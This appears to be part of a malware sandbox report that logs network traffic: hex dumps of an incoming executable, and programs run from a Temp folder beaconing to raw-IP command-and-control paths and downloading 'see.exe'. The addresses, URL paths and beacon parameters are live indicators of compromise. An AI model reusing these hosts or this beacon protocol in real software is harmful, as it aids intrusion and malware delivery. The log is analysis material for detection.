Jul 13, 2024 07:07:13.152734041 CEST	1236	IN	Data Raw: 68 30 e5 44 00 e8 39 b9 01 00 59 c3 cc cc cc 6a 0c 68 74 8a 45 00 b9 5c 33 46 00 e8 cf 62 01 00 68 90 e5 44 00 e8 19 b9 01 00 59 c3 cc cc cc 6a 08 68 84 8a 45 00 b9 04 31 46 00 e8 af 62 01 00 68 f0 e5 44 00 e8 f9 b8 01 00 59 c3 cc cc cc 6a 24 68 Data Ascii: h0D9YjhtE\3FbhDYjhE1FbhDYj$hEl,FbhPDYj$hE/FobhDYj<hE2FObhDYjh Et3F/bhpDyYjh4E,FbhDYYjh@
Jul 13, 2024 07:07:13.152744055 CEST	1236	IN	Data Raw: 16 00 00 00 5e 5d c3 57 8b 7d 08 85 ff 74 19 81 fe d0 07 00 00 77 11 56 57 51 e8 7c 19 03 00 83 c4 0c 33 c0 5f 5e 5d c3 68 d0 07 00 00 6a 00 51 e8 e6 1e 03 00 83 c4 0c 85 ff 75 19 e8 fd 52 03 00 c7 00 16 00 00 00 e8 39 4a 03 00 5f b8 16 00 00 00 Data Ascii: ^]W}twVWQ\|3_^]hjQuR9J_^]vR"J_"^]UE]pFUujujQpQdH]UMEPQu]
Jul 13, 2024 07:07:13.152798891 CEST	1236	IN	Data Raw: 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 f0 87 44 00 64 a1 00 00 00 00 50 53 83 ec 58 a1 14 20 46 00 33 c5 89 45 ec 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b f9 89 7d e0 8b 43 10 8d 4d c8 50 89 7d e0 e8 3e 52 01 00 8b 43 08 8b 73 0c 89 45 e0 Data Ascii: Ukl$jhDdPSX F3EVWPEd}CMP}>RCsEEMtDU+r AE: ECEfDjhXEEMujguMQPEU}MCUEu+MQR;w%}EECEVE
Jul 13, 2024 07:07:13.152808905 CEST	1236	IN	Data Raw: cc cc cc 55 8b ec 6a ff 68 58 88 44 00 64 a1 00 00 00 00 50 83 ec 08 a1 14 20 46 00 33 c5 89 45 f0 56 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 89 75 ec c7 45 fc 00 00 00 00 ff 76 10 8b 46 0c ff d0 56 c7 45 fc 01 00 00 00 e8 20 8c 01 00 6a 14 56 e8 Data Ascii: UjhXDdP F3EVPEduuEvFVE jVMdY^M3]UVjMEWVuFF*@vNFu^]Q(hdEMhEEP
Jul 13, 2024 07:07:13.152817965 CEST	1236	IN	Data Raw: 50 8d 45 f4 64 a3 00 00 00 00 8b d9 8b 7d 08 8d 73 0c 56 c6 45 e7 00 89 75 e0 e8 2f 96 01 00 83 c4 04 85 c0 0f 85 3a 01 00 00 89 45 fc 8b 43 3c 85 c0 74 51 33 d2 8b 48 04 39 38 74 0a 8b d0 8b c1 85 c0 75 f1 eb 20 85 d2 75 05 89 4b 3c eb 03 89 4a Data Ascii: PEd}sVEu/:EC<tQ3H98tu uK<JxuS@jP_GHuPE_VEE8E3tw$0@;tlt`Ww4fEV
Jul 13, 2024 07:07:13.152920961 CEST	320	IN	Data Raw: 74 3c 8b 01 ff 50 08 8b 4e 24 85 c9 74 15 8b 11 3b ce 0f 95 c0 0f b6 c0 50 ff 52 10 c7 46 24 00 00 00 00 6a 28 56 e8 09 a1 01 00 83 c4 08 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c3 e8 07 8c 01 00 cc cc cc cc cc cc cc cc 56 8b 31 85 f6 74 27 Data Ascii: t<PN$t;PRF$j(VMdY^]V1t'N$t;PRF$j(V^VN$t;PRF$^Ujh7DdP F3ESVWPEdj(}E}
Jul 13, 2024 07:07:13.157643080 CEST	1236	IN	Data Raw: c0 0f b6 c0 50 ff 52 10 c7 47 24 00 00 00 00 6a 28 57 e8 dd 9f 01 00 83 c4 08 eb 6e 0f 57 c0 66 0f 13 45 e8 e8 42 f6 ff ff 8b 70 04 85 f6 74 07 f0 ff 46 04 8b 70 04 8b 08 89 4d e8 89 75 ec c7 45 fc 03 00 00 00 57 68 00 34 40 00 85 c9 74 06 8b 01 Data Ascii: PRG$j(WnWfEBptFpMuEWh4@tMExE&t!Fu~OuPMdY_^[M3]_Ujh`DdP F3PEdl{MdY]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	58989	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:14.329906940 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000226001&unit=246122658369
Jul 13, 2024 07:07:15.033849001 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	58990	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:15.096065044 CEST	62	OUT	GET /cdn-directory/see.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	58991	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:16.944289923 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:17.580625057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:17.585793972 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:17.778629065 CEST	273	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 33 0d 0a 20 3c 63 3e 31 30 30 30 30 35 35 30 30 31 2b 2b 2b 61 36 64 33 39 31 37 62 38 35 30 65 38 61 35 65 34 33 33 30 62 37 63 61 64 66 64 61 61 61 61 61 65 62 32 33 35 30 33 34 32 62 64 35 32 35 30 65 36 65 64 31 64 65 64 36 37 31 31 61 64 64 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 53 <c>1000055001+++a6d3917b850e8a5e4330b7cadfdaaaaaeb2350342bd5250e6ed1ded6711add#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	58993	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:18.808130026 CEST	185	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 30 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000055001&unit=246122658369
Jul 13, 2024 07:07:19.453465939 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	58994	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:19.823776007 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:20.442785025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:20.443556070 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:20.633829117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	58995	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:20.752532005 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:21.402357101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:21.403275967 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:21.804881096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 13, 2024 07:07:21.811652899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	58996	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:21.923861980 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:22.564585924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:22.565331936 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:22.763870001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	58997	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:22.877743006 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:23.516249895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:23.517061949 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:23.719717979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	58998	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:23.830255985 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:24.499397993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:24.500521898 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:24.695102930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	58999	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:24.814299107 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:25.448209047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:25.449086905 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:25.789349079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	59000	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:25.909914970 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:26.563066006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:26.564018011 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:26.764332056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	59001	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:27.169373035 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:27.823421001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:07:27.824260950 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:07:28.019181013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	59002	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:28.141762018 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:07:28.810480118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
